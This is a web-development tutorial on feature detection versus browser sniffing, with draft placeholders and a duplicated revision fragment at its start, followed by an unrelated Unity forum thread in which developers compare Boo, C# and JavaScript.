I'm sure you'll agree that the above situation is silly. All of these crazy verbose US strings have arisen because web developers used short-sighted browser sniffing in the first place, which just sniffed for the first browser to support frames (and later other cool features). When new browsers came out, they had to change their UA strings to work with the browser sniffing code. The other choice would be for developers to keep changing their sniffing code every time a new browser comes out that they want to support. This has happened frequently as well.
+
I'm sure you'll agree that the above situation is silly. All of these crazy verbose UA strings have arisen because web developers used short-sighted browser sniffing in the first place, which just sniffed for the first browser to support frames (and later other cool features). When new browsers came out, they had to change their UA strings to work with the browser sniffing code. The other choice would be for developers to keep changing their sniffing code every time a new browser comes out that they want to support. This has happened frequently as well.
and this is the crux of why browser sniffing is so bad — it only solves the problem now, and isn't future proof at all. It is also really error prone. When you are browser sniffing, what you are really want to do is check whether the browser accessing your site supports the technologies your content is built from. But instead of doing this directly, you are making an educated guess dependant on the contents of the UA string, which isn't very precise at all!
and this is the crux of why browser sniffing is so bad — it only solves the problem now, and isn't future proof at all. It is also really error prone. When you are browser sniffing, what you are really want to do is check whether the browser accessing your site supports the technologies your content is built from. But instead of doing this directly, you are making an educated guess dependant on the contents of the UA string, which isn't very precise at all!
Revision as of 10:53, 22 May 2012
Introduction
If you've done a bit of front-end web development, you're bound to have noticed that not all browsers render all web content in exactly the same way. And neither should they have to: arguably your web content doesn't need to look exactly the same across every browser and device and user might choose to view it on, as long as it still provides a good user experience and gives them access to the content and services required by their current browsing experience.
To get your web content working well on all of the huge, diverse number of different web browsers and web-enabled devices that exist (or even a good proportion of them), you're going to have to do some work, optimizing the layouts and content delivered to each browser, and sometimes even directing certain devices to completely separate web sites. Examples of where such optimization might be required include:
• Serving different layouts to narrow screen devices (eg mobile phones) and wide screen devices.
• Serving smaller image and video files (or even alternative content representations) to devices that are on a slower internet connection.
• Serving cutting edge styling to modern browsers, and alternative styling rules to older browsers that don't support the cutting edge CSS.
There are dozens of techniques available to implement such content, but we don't have space to get anywhere near covering them all in this article. We will provide resources to give you pointers to more information at the end.
This article first focuses on the different mechanisms available to allow us to detect what browser is accessing our content. We'll look at the right and wrong way to do this, and then round it off by showing the different mechanisms available to serve appropriate content to different browsers.
Browser detection is not the way to go!
Ok, so the last paragraph in the introduction is a bit misleading — when you want to serve different content to different browsers, detecting the actual browser type and version itself is the wrong way to go in most cases. It is much better to detect whether the browser supports the technologies your web site is using — referred to as feature detection.
This sounds a bit confusing, so let's investigate further.
A brief history of browser sniffing
These days, a lot of web standards features are supported pretty consistently across browsers, or at least, modern browsers.
We'll touch a bit on older browsers we're still sometimes required to support later in the article. We'll also look later at the fact that really new, cutting edge web standards features (such as parts of CSS3 and HTML5) sometimes don't work the same across modern browsers, and the best way to deal with that.
For now, let's rewind back to the early-to-mid-1990s. Back then, web standards were not supported very consistently at all across browsers, so developers were forced to either only support certain browsers, or fork their code, sending completely different codebases to different browsers. The way this was done back then was browser sniffing, or to be more accurate, UA sniffing.
Every browser has a UA string that you can query to find out what browser it is. This is done in JavaScript using the Navigator object. For example, I'm currently using Opera 12.00 beta. If I run navigator.userAgent in my browser, I get the following returned:
Opera/9.80 (Macintosh; Intel Mac OS X 10.6.8; U; Edition Next; en) Presto/2.10.289 Version/12.00
I can use this to identify the browser as Opera, and then serve code to just Opera as a result.
Back in 1993, NCSA Mosaic was the most popular browser. It was identified by
NCSA_Mosaic/2.0 (Windows 3.1)
This was pretty simple. Then Netscape came along, identified by a UA string of
Mozilla/1.0 (Win3.1)
This was also pretty simple, but here's how the problems started. Netscape supported a new killer web feature of the time, Frames, and Mosaic didn't. So web developers used browser sniffing to detect the browser being used and serve content in frames only to Netscape.
Internet Explorer then came along, and also supported frames, but to make sure it was being served frames, Microsoft used the following UA string to identify itself as Mozilla (compatible):
Mozilla/1.22 (compatible; MSIE 2.0; Windows 95)
This is pretty silly, but things got even sillier. Other browser came along later on, with different rendering engines and names, but they all had to keep the Mozilla string inside their UA string, to make sure they were served good content by all this browser sniffing code. For example:
• Mozilla: Mozilla/5.0 (Windows; U; Windows NT 5.0; en-US; rv:1.1) Gecko/20020826
• Firefox: Mozilla/5.0 (Windows; U; Windows NT 5.1; sv-SE; rv:1.7.5) Gecko/20041108 Firefox/1.0
• Opera 9.5: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; en) Opera 9.51 or Mozilla/5.0 (Windows NT 6.0; U; en; rv:1.8.1) Gecko/20061208 Firefox/2.0.0 Opera 9.51 or Opera/9.51 (Windows NT 5.1; U; en)!!!
• KHTML: Mozilla/5.0 (compatible; Konqueror/3.2; FreeBSD) (KHTML, like Gecko)
• Safari: Mozilla/5.0 (Macintosh; U; PPC Mac OS X; de-de) AppleWebKit/85.7 (KHTML, like Gecko) Safari/85.5
• Chrome: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/525.13 (KHTML, like Gecko) Chrome/0.2.149.27 Safari/525.13
So basically, all these user agent strings are trying to include some kind of identification of the actual browser they belong to and device install on, while strategically trying to be matched by browser sniffing code to make sure the browsers get served decent code.
The problem with browser sniffing
I'm sure you'll agree that the above situation is silly. All of these crazy verbose UA strings have arisen because web developers used short-sighted browser sniffing in the first place, which just sniffed for the first browser to support frames (and later other cool features). When new browsers came out, they had to change their UA strings to work with the browser sniffing code. The other choice would be for developers to keep changing their sniffing code every time a new browser comes out that they want to support. This has happened frequently as well.
and this is the crux of why browser sniffing is so bad — it only solves the problem now, and isn't future proof at all. It is also really error prone. When you are browser sniffing, what you are really want to do is check whether the browser accessing your site supports the technologies your content is built from. But instead of doing this directly, you are making an educated guess dependant on the contents of the UA string, which isn't very precise at all!
For example, you'll notice that the above Opera UA string starts with Opera/9.80, even though at the time of writing we are on version 11.64! This is because of widespread erroneous browsing sniffing code, which looked at Opera UA strings and interpreted Opera 10+ as Opera 1, serving incorrect content as a result.
Why feature detection is better
Feature detection is a much better way to do things — instead of seeing what browser is accessing the content and serving appropriate code, the idea here is to query the browser to detect whether it supports the features our content relies on, and then serve content as appropriate. Let's take HTML5 video as an example. You could detect support using some simple code such as this:
if(!!document.createElement('video').canPlayType === true) {
// run some code that relies on HTML5 video
} else {
// do something else
}
This is much more future proof, because existing browsers that support HTML5 video will run the correct code, and future browsers that support HTML5 video will do as well. You don't have to keep updating your code each time a new browser is released.
Strategies for supporting different browsers
Now we've got the argument for feature detection out of the way, let's look at some strategies you can use to serve appropriate content to different browsers.
Graceful degradation
The good news about web technologies is that they are largely designed so that they will work as well as possible if something is not done quite right — this is contrary to other programming environments where nothing will work if there is the slightest error present in the code.
Part of this related to how browsers deal with unknown elements and CSS properties. If a browser encounters an unknown CSS property, it will just ignore it and move on. If a browser encounters an unknown HTML element, it will treat it like an anonymous inline element, similar to a <span>. This means that if a browser is served some HTML or CSS features it can't understand, it will generally just ignore it and move on, rendering the rest of the content. Obviously this might not give you a usable result in all cases, but for text and image content, you'll find that older browsers will render a usable result, even if it doesn't look quite as nice and shiny as in modern browsers. This is generally called graceful degradation.
A quick example:
border-radius and box-shadow aren't supported in older browsers like IE6, but you're still going to be able to read the content inside the box, even if it hasn't got rounded corners and a drop shadow.
[INCLUDE FIGURE TO ILLUSTRATE THIS]
Vendor prefixes, and alternative styles
Of course, you can't rely on graceful degradation in all cases. In some cases, a feature not being supported will result in your content breaking to the point where it is not really usable. In the case of CSS, examples include:
1. Sizing a layout using rem units — these units are not supported in older browsers, resulting in the layout falling apart. To remedy this, you could provide a fallback sized in a unit like pixels later in the cascade, like this:
nav {
width: 180px;
width: 18rem;
}
Modern browsers that understand both will first apply the pixel value then override it with the rem value. Older browsers that don't understand rems will just apply the first line, then ignore the second one.
2. Filling in a background using a CSS3 gradient — in browsers that don't support the gradient, it will not render at all, which could cause content to be unreadable.
[INCLUDE FIGURE TO ILLUSTRATE THIS]
To make things better, you could provide a solid background colour as a fallback, or a gradient slice image, like so:
nav {
background-color: red;
background-image: url(gradient-slice.png);
background-image: linear-gradient(top right, #A60000, #FFFFFF);
}
[INCLUDE FIGURE TO ILLUSTRATE THIS]
IE conditional comments
If you are specifically dealing with fallbacks for old versions of Internet Explorer, you can separate these out into separate stylesheets, and then link to these stylesheets inside an IE conditional comment. For example:
<link rel="stylesheet" href="normal-styles.css" type="text/css" />
<!--[if lte IE 6]>
<link rel="stylesheet" href="ie-fixes.css" type="text/css" />
<![endif]-->
In this case, the first link element will be given to all browsers, whereas the second one will only be picked up by IE versions 6 and less. In the latter, you could put all your IE fallback styles (such as giving IE6 different width and height values to compensate for its broken box model.)
You can read more about IE conditional comments in Bruce Lawson's article Supporting IE with conditional comments.
Vendor prefixes
Returning to the gradient example we saw earlier, you may have noticed that something wasn't quite right there. To get the gradient rendering across all modern browsers, you need to include multiple versions of the declaration, like this:
nav {
background-color: red;
background-image: url(gradient-slice.png);
background-image: -webkit-linear-gradient(top right, #A60000, #FFFFFF);
background-image: -moz-linear-gradient(top right, #A60000, #FFFFFF);
background-image: -ms-linear-gradient(top right, #A60000, #FFFFFF);
background-image: -o-linear-gradient(top right, #A60000, #FFFFFF);
background-image: linear-gradient(top right, #A60000, #FFFFFF);
}
This is because the CSS Image Values and Replaced Content Module Level 3 — the spec that CSS gradients are specified in, is not finalised. Unfinished CSS features are implemented in browsers in an experimental capacity, with a vendor-specific prefix so that different browser's implementations can be tested without impacting on other browser's implementations. In the above example:
• The -webkit- prefixed property will work in WebKit-based browsers such as Chrome and Safari
• The -moz- prefixed property will work in Firefox
• The -ms- prefixed property will work in Internet Explorer
• The -o- prefixed property will work in Opera
Official W3C policy states that you shouldn't really use experimental properties in production code, but people do, as they want to make sites look cool and keep on the cutting edge. I don't see a problem with this, but if you want to use vendor prefixed properties in your code, you really should use include all the different prefixes so that as many browsers as possible can use all the features you are implementing.
Notice that an unprefixed version of the property has also been included, at the bottom of the list: this is so that when the CSS feature is finalised, and the prefixes are removed, the code will still work — this is good future proofing practice.
Progressive enhancement
The flip side of graceful degradation is progressive enhancement - this goes in the other direction. Instead of building a great experience as the default and then hoping it degrades to something that is still usable in less capable browsers, you build a basic experience that works in all browsers, and then layer an enhanced experience on top of that.
... NEED TO FILL IN AN EXAMPLE?
Polyfills/shims
Another approach you can take to dealing with disparate browser support is using Polyfills/shims. These are bits of utility code (usually JavaScript) that fakes support for a feature you want to use in browsers that don't support that feature natively.
You generally use a polyfill by simply applying the JavaScript to your page via <script src="script.js"></script>, although many of them do have other instructions besides. Always reach the author's instructions carefully before attempting to use one! Polyfill/shim examples include:
• respond.js for making Media Queries work in old versions of IE
• CSS3PIE for making bling like rounded corners and drop shadows work in old versions of IE
• Playr for making HTML5 video <track> work in non-supporting browsers
• HTML5 shiv for making old versions of IE render HTML5 semantic elements properly
• Excanvas for making Interner Explorer support HTML5 <canvas>
You might think this sounds wonderful! Why worry about what feature different browser support, if you can just fill in support for the ones that don't using JavaScript? The trouble is that using a Polyfill does add weight to a page, both in terms of extra files requiring download, and extra processing required to put the polyfill in action. If you used loads of polyfills on every one of your pages, they would likely be significantly slower to download and run, as well as making your code base a lot more fiddly and complex.
So they are a great idea, but use them sparingly.
Feature detection with Modernizr
You might be thinking at this point "well isn't there a way to only load those extra resources if the browser really needs them?" Well, yes there is. The general idea is to do feature detection to see if the browser supports those features, and then pull in a polyfill or un some alternative code only if needed.
The easiest way to do the feature detection part of this is through a feature detection library called Modernizr. This is a JavaScript library that provides an easy way to do pretty much all of the feature detection you could need. All you have to do is
1. Download the library and attach it to your page via a <script> element.
2. add a class of no-js to your page's <html> element.
When your page runs, Modernizr runs feature tests on all manner of HTML5/CSS3/etc. features, then it does two things. First, it adds classes to your <html> element to allow you to apply CSS to the page selectively, depending on whether the browser supports various feature or not. Second, it provides you with a JavaScript API to allow you to do the same kind of selective code application in your JavaScript. Let's look at these two aspects in more detail.
Selective CSS application
To get things going, you need to link to the Modernizr library and add a class of no-js to the <html> element in your source code. when the page is run, modernizr runs all its feature detection tests and lets you know the results of those tests via a series of classes appended to the <html> element. They will look something like this:
<html lang="en-gb" class=" js no-flexbox no-flexbox-legacy canvas canvastext webgl no-touch geolocation postmessage websqldatabase no-indexeddb
hashchange history draganddrop no-websockets rgba hsla multiplebgs backgroundsize borderimage borderradius boxshadow textshadow opacity cssanimations
csscolumns cssgradients no-cssreflections csstransforms no-csstransforms3d csstransitions fontface generatedcontent video audio
localstorage sessionstorage webworkers applicationcache svg inlinesvg smil svgclippaths">
This is really powerful, as it allows you to apply CSS to the page selectively, depending whether it supports certain feature or not. For example, if your code uses an animated 3D transform by default to reveal some content underneath:
#shutter:hover {
transform: rotateX(90deg);
}
You can include alternative styling that overrides this in browsers that don't support 3D transforms like this:
.no-csstransforms3d #shutter:hover {
position: relative;
right: 100px;
}
It might not look quite as elegant, but it would still produce an ok experience that allows access to the underlying content.
Selective JavaScript application
Modernizr also provides a nice easy JavaScript API to allow you to execute code selectively, depending on whether CSS/HTML/other features are supported by the browser. Each test is a simple method on the Modernizr object, which returns a boolean (true/false) result. For example, if you wanted to query whether the current browser supports 3D transforms in JavaScript, you would write if(Modernizr.csstransforms3d). So you could have a block of code like this:
if(Modernizr.csstransforms3d) {
// run killer feature that relies on 3D transforms being available
} else {
// run an alternative chunk of code that provides a graceful fallback
}
Problems with Modernizr
Modernizr, as with everything, isn't perfect. Two of the main problems are:
1. Not everything can be feature detected and therefore dealt with in this elegant manner.
2. The full Modernizr library weighs in at 49KB, which is quite a lot of extra code to download for a few feature tests.
However, you can customize Modernizr and create a version suitable for your site that only contains the tests you need, which cuts down on the file weight. And even though you can't feature detect everything, you will find it invaluable in many situations.
YepNope - load only what you need!
Now we've covered the feature detection side of things, lets cover what we can do to load resources like Polyfills only when you need them. To help you out with this, Modernizr comes packaged with a really smart, dandy little utility library called YepNope. This can do a lot, but in a nutshell, it allows you to specify a test of some kind, and then say what happens when the test is passed, and when it fails. Here's a simple example:
yepnope({
test : Modernizr.canvas,
yep : 'normal.js',
nope : ['polyfill.js', 'normal.js']
});
So basically, you are sating what the test is, then saying that if the test is passed, just load the normal script, but if the test fails, load the normal script and a polyfill to allow the code to work in an older browser.
You can find a lot more details on how to use YepNope at The YepNope homepage.
Summary
I hope that's helped you get all these ideas clear in your head — why browser sniffing is bad, why feature detection is a much better way to detect whether a browser will run your site features or not, and different strategies for providing different capability browsers with different but acceptable experiences.
If you want to read more sources about the topics discussed above, please check out the following pages:
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Boo, C# and JavaScript in Unity - Experiences and Opinions
Discussion in 'General Discussion' started by jashan, Feb 27, 2009.
?
Which Unity languages are you currently using?
1. Boo only
2.7%
2. C# only
55.0%
3. JavaScript only
20.3%
4. Boo & C#
1.6%
5. Boo & JavaScript
0.4%
6. JavaScript & C#
18.9%
7. Boo, C# and JavaScript
1.0%
1. jashan
jashan
Joined:
Mar 9, 2007
Posts:
2,874
I've been thinking about creating this thread for a little while. We have an incredible amount of C# vs. JavaScript threads going on whenever someone asks which is "the best programming language for Unity" (use the search to find those if you look for some heated discussions ;-) ). But I think what would be really helpful for people new to Unity would be an actual list of people's experiences with the different languages they're actively using.
For some people, Boo will be best, for some people C# will be best, and for some people JavaScript will be best (in alphabetical order). So instead of trying to find "the best" language, this should help everyone get a basic understanding of the differences between those languages to make an educated decision for themselves.
To best serve that purpose it would be nice if we could avoid discussions and instead just share the personal background - and experiences with the languages we actually use: Where are you coming from (programmer / new to programming, which languages have you used before using Unity etc.), which languages are you working with in Unity, what do you enjoy about using these languages in Unity, what do you find annoying?
Tips and tricks are also very welcome when they go beyond what's already in the documentation and Wiki:
Unity Documentation:
Writing Scripts in C#
Script compilation (Advanced) [about script compilation order, very relevant if you mix different languages in one project]
Unify Community Wiki:
Common Scripting Pitfalls
JavaScript Quirks
Beginner's Scripting Guide (a few tips in JavaScript)
Beginner's Programming Tutorial for C# (and an older version for C#/JavaScript)
I think that one relevant aspect to this is also how much know-how is available for each language on the forums - that's why I've added the poll. For some people, this will not play a role - but for others it may be important to know and currently we only have guesses. Note that this explicitely is about "how many active forum members use language X" - not about how many people use language X in general.
Actually, I wanted to post this into "Scripting" as it's directly related to scripting - but I can't create polls in Scripting so I posted to "Gossip" instead. Could someone move this, maybe?
EDIT: Unfortunately I didn't think of putting the results into the thread every once in a while so that trends become obvious. But there's wayback ... so let's check out the Web history:http://web.archive.org/web/*/http://forum.unity3d.com/threads/18507-Boo-C-and-JavaScript-in-Unity-Experiences-and-Opinions
The first capture in the archive was Oct 1st, 2010 - about 1 1/2 years after the poll originally was started. Here's the results from back then (299 voters):
[TABLE="width: 500"]
[TR]
[TD]Boo only[/TD]
[TD="align: right"]4.35%[/TD]
[/TR]
[TR]
[TD]C# only[/TD]
[TD="align: right"]31.10%[/TD]
[/TR]
[TR]
[TD]JavaScript only[/TD]
[TD="align: right"]31.77%[/TD]
[/TR]
[TR]
[TD]Boo C#[/TD]
[TD="align: right"]2.68%[/TD]
[/TR]
[TR]
[TD]Boo JavaScript[/TD]
[TD="align: right"]0.33%[/TD]
[/TR]
[TR]
[TD]JavaScript C#[/TD]
[TD="align: right"]28.76%[/TD]
[/TR]
[TR]
[TD]Boo, C# and JavaScript[/TD]
[TD="align: right"]1.00%[/TD]
[/TR]
[/TABLE]
So let's move one year into the future - sample from Oct 11th, 2011 (453 voters):
[TABLE="width: 500"]
[TR]
[TD]Boo only[/TD]
[TD="align: right"]3.53%[/TD]
[/TR]
[TR]
[TD]C# only[/TD]
[TD="align: right"]33.55%[/TD]
[/TR]
[TR]
[TD]JavaScript only[/TD]
[TD="align: right"]30.24%[/TD]
[/TR]
[TR]
[TD]Boo C#[/TD]
[TD="align: right"]2.21%[/TD]
[/TR]
[TR]
[TD]Boo JavaScript[/TD]
[TD="align: right"]0.44%[/TD]
[/TR]
[TR]
[TD]JavaScript C#[/TD]
[TD="align: right"]28.70%[/TD]
[/TR]
[TR]
[TD]Boo, C# and JavaScript[/TD]
[TD="align: right"]1.32%[/TD]
[/TR]
[/TABLE]
There's a trend becoming obvious here: JavaScript is losing, C# is winning ;-)
Another year into the future - sample from August 31st, 2012 (so it's not a full year - but that's the data I have), 583 voters:
[TABLE="width: 500"]
[TR]
[TD]Boo only[/TD]
[TD="align: right"]3.26%[/TD]
[/TR]
[TR]
[TD]C# only[/TD]
[TD="align: right"]37.39%[/TD]
[/TR]
[TR]
[TD]JavaScript only[/TD]
[TD="align: right"]28.99%[/TD]
[/TR]
[TR]
[TD]Boo C#[/TD]
[TD="align: right"]2.06%[/TD]
[/TR]
[TR]
[TD]Boo JavaScript[/TD]
[TD="align: right"]0.51%[/TD]
[/TR]
[TR]
[TD]JavaScript C#[/TD]
[TD="align: right"]26.59%[/TD]
[/TR]
[TR]
[TD]Boo, C# and JavaScript[/TD]
[TD="align: right"]1.20%[/TD]
[/TR]
[/TABLE]
So ... that trend obviously continues. We also see that Boo is going down a bit - but people using Boo with JavaScript is going up a little bit.
So let's move almost another year into the future - July 18th, 2013, 763 voters:
[TABLE="width: 500"]
[TR]
[TD]Boo only[/TD]
[TD="align: right"]3.28%[/TD]
[/TR]
[TR]
[TD]C# only[/TD]
[TD="align: right"]40.10%[/TD]
[/TR]
[TR]
[TD]JavaScript only[/TD]
[TD="align: right"]27.92%[/TD]
[/TR]
[TR]
[TD]Boo C#[/TD]
[TD="align: right"]1.97%[/TD]
[/TR]
[TR]
[TD]Boo JavaScript[/TD]
[TD="align: right"]0.52%[/TD]
[/TR]
[TR]
[TD]JavaScript C#[/TD]
[TD="align: right"]25.29%[/TD]
[/TR]
[TR]
[TD]Boo, C# and JavaScript[/TD]
[TD="align: right"]0.92%[/TD]
[/TR]
[/TABLE]
So ... C# is now used significantly more than JavaScript and the trend is that the difference will become more significant over time ... Boo has stalled around 3.28%
Last edited: Jul 18, 2013
2. jashan
jashan
Joined:
Mar 9, 2007
Posts:
2,874
Where are you coming from?
I've learned programming a long time ago, starting with Basic but really getting into it with Java. For a while, I've been doing most projects in Java but once .NET was there moved over to C# and the .NET environment. Currently I'm earning money primarily with Web development which involves a lot of C#, a lot of SQL and a little JavaScript. I also have a little experience in C++, ActionScript, Perl, Visual Basic and a few more languages I never really got into because I didn't like them.
Which languages are you working with in Unity?
Coming from a strong C#/.NET background one of the reasons I chose Unity was because it supports C# and .NET - so that's logically the language I'm using primarily. Since many of the examples, tutorials and documentation are based on JavaScript, I also "work" with JavaScript a little - however, that's primarily taking a JavaScript file and converting it to C#. So, I'm using JavaScript mostly just for reading existing code ... not so much for writing my own.
What do you enjoy about using these languages in Unity?
With C#, I get very clear and expressive code - by looking at a piece of code I immediately know which variables have which types, which methods can be used as CoRoutines, when are new objects created and so on. That's an integral part of the way the language is designed and thus I don't need naming conventions which artifically add this information.
Also, C# in itself is a very well-specified, standardized and documented language so when there's some construct that I don't understand it's very easy for me to find the relevant specification and read up on it.
Furthermore, many of the "typical programming errors" (misspelled a variable, anyone) are caught during compile time and don't bug me during runtime where they are more difficult to debug. Actually, most of those errors are now caught during "coding-time" which leads to ...
... finally, there are a lot of very advanced tools for developing C# code. So I primarily use Visual Studio 2008 (see Setting up Visual Studio for Unity for information on how to use Visual Studio with Unity when using a Mac, and One click Unity Visual Studio integration for more tips on how to set this up) for coding and Altova UModel for doing software-design for more complex tasks (using Unified Modelling Language (UML)).
With Visual Studio, I particularly like Intellisense which gives me "intelligent code completion", very advanced and convenient tools for refactoring as well as API documentation available directly as tooltips in the IDE.
What do you find annoying?
Using C# with Unity, there's a few things that are painfully missing:
Namespaces. While Unity does use Mono and you can use namespaces for "plain old C# classes", MonoBehaviours cannot be put into namespaces which makes organizing your code into packages very difficult. There's some workarounds that were discussed here in the forums (search "namespaces" and you should find them) but I found none of them convenient enough for me to use.
[EDIT: Also, the Unity API is only split in two namespaces (UnityEngine and UnityEditor) so be prepared for a lot of scrolling and searching when working with the scripting reference. Furthermore, the Unity API uses some "standard object names" which also exist in commonly used .NET/Mono namespaces which gives you naming conflicts when using those (easily resolved by using the fully qualified class-name but that's simply not nice).]
Proper use of generics in the API. The Unity API is not really built with generics in mind, so there's some "old-school" ways of doing things that are "less-than-ideal", like the all-famous:
Code (csharp):
1. MyScript myScript = (MyScript) GetComponent(typeof(MyScript));
Using generics, this would look like:
Code (csharp):
1. MyScript myScript = GetComponent<MyScript>();
EDIT: As of Unity 2.6, this is no longer an issue. You can now use the second way of writing this in Unity without any extra effort. No more useless typecasting.
WARNING: If you're using Unity iPhone, there's currently no proper solution to this because Unity iPhone does not support generics at all (/me is hoping for an update on this ;-) ).
Properties and their names. Coming from Java and C#, I'm very used to using codestyle guidelines, one of which is that properties are written PascalCase in C#. Unfortunately, the Unity API doesn't follow this, which makes most properties look like member variables which in reality they are not (which, among other things can give you performance penalties where you wouldn't expect them).
With JavaScript, which I primarily used when learning the Unity API, I found it very annoying that most of the time variable types are not written explicitely in the code but instead are inferenced from the return types of various methods / properties and so on. So in the beginning, I had a pretty hard time finding out what's going on and looking it up in Unity's API reference because the information was simply not available in the code. However, that issue soon dissolved once I got more comfortable with the Unity API (for which converting the examples from JavaScript to C# was actually quite a good exercise).
3. degeneration
degeneration
Joined:
Apr 3, 2008
Posts:
115
I'm still quite new to unity and am coding in Javascript because the majority of tutorials and samples seem to be in Javascript. I would be interested in learning C# especially if it had an advantage, but whilst I'm trying to get the things I need to get done done, I'll stick to Javascript.
My other programming langauges I've had experience with are mainly: php, lsl, actionscript, lingo
4. Cu3e
Cu3e
Joined:
Oct 27, 2008
Posts:
63
I experimented a bit with basic as kid, at college I did some pascal and delphi, but java was the first language I really got into in more depth. Later I thought I would study some game programming. I bought a book of C++ and DirectX, but never got excited about it very much. Later I moved to C# mainly because the company I worked for changed to it. Java still remains my favourite language of choice and Eclipse the favourite IDE.
C# and Javascript.
I am quite new to Unity. I started in Javascript because most examples seemed to be written in it. First I experimented a little scripting in C# but found that many things like using yield was so much more straight forward in Javascript.
Now I am writing my own libraries in C# (I use Eclipse with Emonic) and I compile them and use Javascript to interact with my libraries. This way I can use the strengths of both worlds.
I recently realized that this approach has it's disadvantages, but I haven't found enough reason to change it yet.
I am not annoyed by anything really. I adapt pretty well. I wish there was better C# and Javascript editors for Mac, but I can manage. Emonic does not work very well on mac, but I still prefer it over MonoDevelop. Don't ask me why. For Javascript I use Unitron. I am so used to it now, I don't miss code completion anymore.
edit: Emonic, not Memonic
5. Eric5h5
Eric5h5
Volunteer Moderator Moderator
Joined:
Jul 19, 2006
Posts:
31,190
Only Javascript here...no surprise that, eh? ;) Every time I say "OK, C# can't be all that bad" and give it another try, I end up irritated at all the hoops I have to jump through, and with what I consider (never having been into languages like C++ or Java) to be backwards syntax. I like that Javascript is more direct and easier for me to read, without wading through a lot of excess verbosity. Type inference is great (although you don't have to use it)...C# has that in 3.0, but that's not used in Unity yet. Being able to use dynamic typing is a big time-saver so I can quickly prototype scripts, and then (but only if it's speed-critical) I can switch on "#pragma strict" and get rid of it. Being able to use eval() is nice, but with great power comes great responsibility, so I've only used it a couple of times (also it has the speed penalty of having to be compiled at run-time).
Annoying things about Javascript: the "unused variable" warning disappeared in 2.1 for some reason. You can define variables without using "var," which can lead to mistakes through carelessness. Can make use of multi-dimensional built-in arrays (as returned by functions such as GetHeights), but can't define them for some reason. Can't pass values to functions as references without using ugly workarounds. Makes iPhone builds a bit bigger than C# because of having to use extra libraries. It's not Javascript, and should be called Unityscript. ;)
--Eric
6. AngryAnt
AngryAnt
Keyboard Operator Moderator
Joined:
Oct 25, 2005
Posts:
3,037
Definitely agreeing on the UnityScript name, but no surprise there either I'd expect. Just like my favouring of C#.
To me, it is primarily a question of habit - coming from a C++ background which leads me to hugely dislike how JavaScript/UnityScript in its less-verbose-force also can lead the developer to believe that he is doing something quite cheap, single operation stuff while JavaScript/UnityScript really is doing a lot of operations behind the scenes based on that syntactically one operation.
I think the documentation argument is less of an issue as I see the two languages as being more or less equal here. We're all coding against both the .net and the unity libraries here anyway and while one offers examples in C#, the other offers them in UnityScript.
One could argue that perhaps C# would make more sense since you could use the same syntax in applications outside unity, but then if you're doing applications outside unity or planning to, learning a new language for that shouldn't be an issue.
New to programming? I'd recommend UnityScript.
Experienced? I shouldn't have do advice you on the issue - you should be able to make that decision on your own.
Edit
Ok I probably completely misunderstood the intend of this thread as I'm honestly too lazy to fully read a lot of your posts, Jashan :wink:
Anyway: Where are you coming from?
Learned C from a book, writing programs in my grade-school note books. Didn't have a computer with a compiler, but I really wanted to make computers obay my every whim. OK I wanted to make games!
Had some kind of idea that the only way to program on the mac was to get a license of CodeWarrior which at the time was more expensive than a PC, so I got a PC. My PC pusher told me that the way to go was to learn QuickBasic, so that's what I did. Wasted a lot of time on that, but it was fun.
Then I got windows on the sucker and went through C++ and Pascal (Delphi). Got a taste for the internets so I did some CGI programming in C++ interfaced with my lovely HTML skills and animated GIFs. Stumbled over Java, PHP, JavaScript and a lot of other trash. Did some funky work in there - got a notion of database use via the PHP/MySQL coupling.
Somehow I got access to a game engine and soon after got hired as game programmer where I went through various engines with their individual mix of their own scripting and C++.
Ack. stopping here. This post is nearing Jashan-size (tm)
7. Adrian
Adrian
Joined:
Apr 5, 2008
Posts:
297
Boo Resources:
Official Homepage: http://boo.codehaus.org/
-> Boo Primer (http://boo.codehaus.org/Boo+Primer)
-> Language Guide (http://boo.codehaus.org/Language+Guide)
Those two links contain almost everything that you could possibly want to know (the rest is .net).
Boo mailing list: http://groups.google.com/group/boolang
For special cases where the documentation doesn't help.
Where are you coming from?
I've first programmed Basic on my TI-89 during boring classes but really started learning programming with PHP, creating homepages and smaller scripts. I then moved on to some Java for non-browser-bound interfaces and portability. I've since worked with Python, Ruby and Objective-C. I don't remember working with Java/Objective-C too fondly because you need to type so much more code for the same functionality than with PHP, Pyhton or Ruby. Especially Ruby was a very pleasing experience which thought me how much fun an elegant language can be (need to work with hashes and cross-reference-jumble-something? You can probably do it with one line of elegant Ruby code :wink:).
Which languages are you working with in Unity?
I've worked with JavaScript, touched C# but stayed with Boo. The three languages are very interchangeable in Unity and I have converted some simple scripts between languages in a matter of minutes.
That's great because it means that it doesn't really matter what language an example or code is in - I can just quickly convert it in my head.
What do you enjoy about using these languages in Unity?
People with a background in C-style languages usually have problems with Python/Boo where whitespace matters. Sure, with IDEs and some training you can set brackets with ease but once you let go, it's a relieve to simply create a block with indentation.
A classical case is when you first write a short if statement:
Code (csharp):
1. if (condition)
2. return;
and then want to add debugging information before the return, forcing you to set brackets which I always thought was a pain, especially when debugging. In Boo, you simply add another line:
Code (csharp):
1. if condition:
2. Debug.Log("blah")
3. return
Also, no semicolons you forget. All basics that are easily learned by rote but you don't know what you miss until you let it go. :)
There are also things like event handlers, closures and callables (delegates) that are so effortlessly handled in Boo.
Code (csharp):
1. # I really like writing
2. return unless FunctionThatCheckesSometing()
3. // instead of
4. if (!FunctionThatChecksSomething())
5. return;
6.
7. # Or have function like
8. def FindWithCallback(center as Vector3, radius as single, callback as callable)
9. # That can be used like
10. FindWithCallback(transform.position, 5, {go | return (go.GetComponent(MyScript) != null})
What do you find annoying?
There are some quirks with OO-programming in Unity that I banged my head against. It's not so much that I really needed them but they do make some things easier and with the strong programming language support in Unity you expect it to handle those cases until you learn that it doesn't (like overriding properties or namespaces).
Apart from that there is nothing that pops to my ming right now that I find annoying.
8. codepunk1
codepunk1
Joined:
Jan 31, 2009
Posts:
19
Had to vote for C# but not because I actually like it.
Where are you coming from?
20+ years of programming everything from assembler against raw silicone, c, c++, vb, object pascal, php, java, python bla bla bla. Looked at ruby once
but found it also crufty, hard to look at another scripting language once
you know python.
Which languages are you working with in Unity?
C# but only because boo is not working on unity iphone.
What do you enjoy about using these languages in Unity?
I don't enjoy it, not one bit I hate crufty languages. I am fully comfortable
writing in C#, Java, C etc but it is no where near as productive as python, boo etc.
What do you find annoying?
That I have to resort to using a crufty less productive language because boo is broken on the iphone.
